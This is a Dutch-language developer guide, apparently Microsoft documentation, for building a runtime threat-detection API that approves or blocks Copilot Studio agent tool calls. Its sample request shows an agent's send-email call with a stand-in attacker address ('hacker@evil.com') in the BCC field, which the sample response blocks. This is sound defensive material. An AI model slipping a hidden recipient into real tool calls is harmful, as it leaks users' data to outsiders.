Een runtime-detectiesysteem voor bedreigingen bouwen voor Copilot Studio-agents

Organisaties kunnen een beveiligingslaag toevoegen aan hun Copilot Studio-agents door ze te verbinden met een runtime-detectiesysteem voor bedreigingen. Zodra er verbinding is gemaakt, roept de agent dit systeem aan tijdens runtime. De agent biedt het systeem gegevens, zodat het systeem kan bepalen of een hulpprogramma dat de agent wil aanroepen legitiem is of niet. Het systeem reageert vervolgens op Copilot Studio met een reactie van 'goedkeuren' of 'blokkeren', waardoor de agent het hulpprogramma dienovereenkomstig aanroept of overslaat. Zie Enable external threat detection and protection for Copilot Studio custom agents voor meer informatie over het verbinden van agents met een bestaand systeem voor externe bedreigingsdetectie.

Dit artikel is gericht op ontwikkelaars en beschrijft hoe u uw eigen mogelijkheden voor detectie van bedreigingen integreert als beveiligingsprovider voor Copilot Studio-agents.

De integratie is gebaseerd op een API die bestaat uit twee eindpunten. Het belangrijkste eindpunt dat u moet implementeren, is het analyze-tool-execution eindpunt. U moet dit eindpunt beschikbaar maken als een interface voor uw detectiesysteem voor bedreigingen. Zodra klanten uw systeem als hun externe detectiesysteem voor bedreigingen hebben geconfigureerd, roept de agent deze API aan telkens wanneer het een hulpprogramma wil aanroepen.

Naast het analyze-tool-execution eindpunt moet u ook een tweede eindpunt beschikbaar maken, genaamd validate. Het validate eindpunt wordt gebruikt om de status en gereedheid van het eindpunt te controleren als onderdeel van de systeeminstallatie.

In de volgende secties wordt elk eindpunt gedetailleerd beschreven.

POST /validate

Doel: Controleert of het eindpunt voor bedreigingsdetectie bereikbaar en functioneert. Wordt gebruikt voor het testen van de eerste installatie en configuratie.

Aanvraag valideren

• Methode: POST

• URL:https://{threat detection endpoint}/validate?api-version=2025-05-01

• Kopteksten:

  • Autorisatie: Bearer-token voor API-verificatie

  • x-ms-correlation-id: GUID voor tracering

• Lichaam: Leeg

Antwoord valideren

Voorbeeld van een 200 OK-reactie

{
  "isSuccessful": true,
  "status": "OK"
}

Voorbeeld van foutreactie

Als er een fout optreedt (mislukte HTTP-code), retourneert het eindpunt een foutcode, een bericht en optionele diagnostische gegevens.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyse-tool-uitvoering.

Doel: De uitvoeringscontext van het hulpprogramma indienen voor risico-evaluatie. Evalueert de aanvraag voor het uitvoeren van het hulpprogramma en reageert of de uitvoering van het hulpprogramma moet worden toegestaan of geblokkeerd.

Analyse-tool-uitvoeringsverzoek

• Methode: POST

• URL:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

• Kopteksten:

  • Autorisatie: Bearer-token voor API-verificatie
  • Inhoudstype: toepassing/json

• Lichaam: JSON-object

Voorbeeld van een aanvraag voor de uitvoering van het hulpprogramma analyseren

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Reactie op het uitvoeren van het hulpprogramma analyseren

200 Akkoord

Wanneer de aanvraag geldig is, wordt het hulpprogramma dat is opgegeven in de aanvraag geëvalueerd en toegestaan of geblokkeerd, op basis van de gedefinieerde criteria. Het antwoord kan de volgende velden bevatten:

• blockAction (Booleaanse waarde): Of de actie moet worden geblokkeerd
• reasonCode (geheel getal, optioneel): Numerieke code waarin de reden voor het blok wordt uitgelegd
• reden (tekenreeks, optioneel): Leesbare uitleg
• diagnostische gegevens (object, optioneel): Overige details voor tracering of foutopsporing

Toestaan van een reactie als voorbeeld

{
  "blockAction": false
}

Voorbeeld van blokreactie

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Voorbeeld van een foutbericht

Als de aanvraag niet geldig is, wordt er een foutbericht geretourneerd met een foutcode, bericht, HTTP-status en optionele diagnostische gegevens.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Verwijzing naar hoofdtekststructuren voor aanvragen en antwoorden

In de volgende tabellen wordt de inhoud beschreven van verschillende objecten die worden gebruikt in de aanvraag- en antwoordteksten voor de eindpunten.

Validatiereactie

AnalyseToolUitvoeringsReactie

Foutmelding

Evaluatieverzoek

PlannerContext

Chatbericht

UitvoeringsresultatenTool

Uitvoeringsuitvoer

Tooldefinitie

ToolInput

Hulpmiddelenuitvoer

Gespreksmetadata

AgentContext

UserContext

TriggerContext

Verificatie

De integratie die u ontwikkelt, moet gebruikmaken van Microsoft Entra ID verificatie. Volg de instructies voor het integreren van apps die uw ontwikkelaars bouwen.

De stappen die u moet uitvoeren, zijn onder andere:

• Maak een app-registratie voor uw resource in uw tenant.
• Maak een bereik beschikbaar voor uw web-API. De weergegeven omvang moet de basis-URL zijn voor de resource die klanten benaderen. Als de API-URL bijvoorbeeld is https://security.contoso.com/api/threatdetection, moet het beschikbaar gemaakte bereik zijn https://security.contoso.com.
• Afhankelijk van hoe u uw service implementeert, moet u autorisatielogica implementeren en binnenkomende tokens valideren. U moet documenteren hoe de klant zijn apps moet autoriseren. Er zijn meerdere manieren om dat te doen, bijvoorbeeld met een toelaatlijst van app-ID's of rolgebaseerde toegangscontrole (RBAC).

Vereisten voor reactietijd

De agent verwacht een reactie van het detectiesysteem voor bedreigingen binnen minder dan 1000 ms. Zorg ervoor dat uw eindpunt binnen dit tijdsbestek antwoordt op de oproep. Als uw systeem niet tijdig reageert, gedraagt de agent zich alsof uw antwoord 'toestaan' is en het hulpprogramma aanroept.

API-versiebeheer

In aanvragen wordt de API-versie opgegeven via een api-version queryparameter (bijvoorbeeld api-version=2025-05-01). Uw implementatie moet tolerant zijn voor andere onverwachte velden en mag niet mislukken als er in de toekomst nieuwe waarden worden toegevoegd. Partners moeten de API-versie niet verifiëren, omdat alle versies op dit moment als niet-brekend worden beschouwd. Partners moeten de API-versies bijhouden, maar de aanvraag niet laten falen bij een nieuwe versie.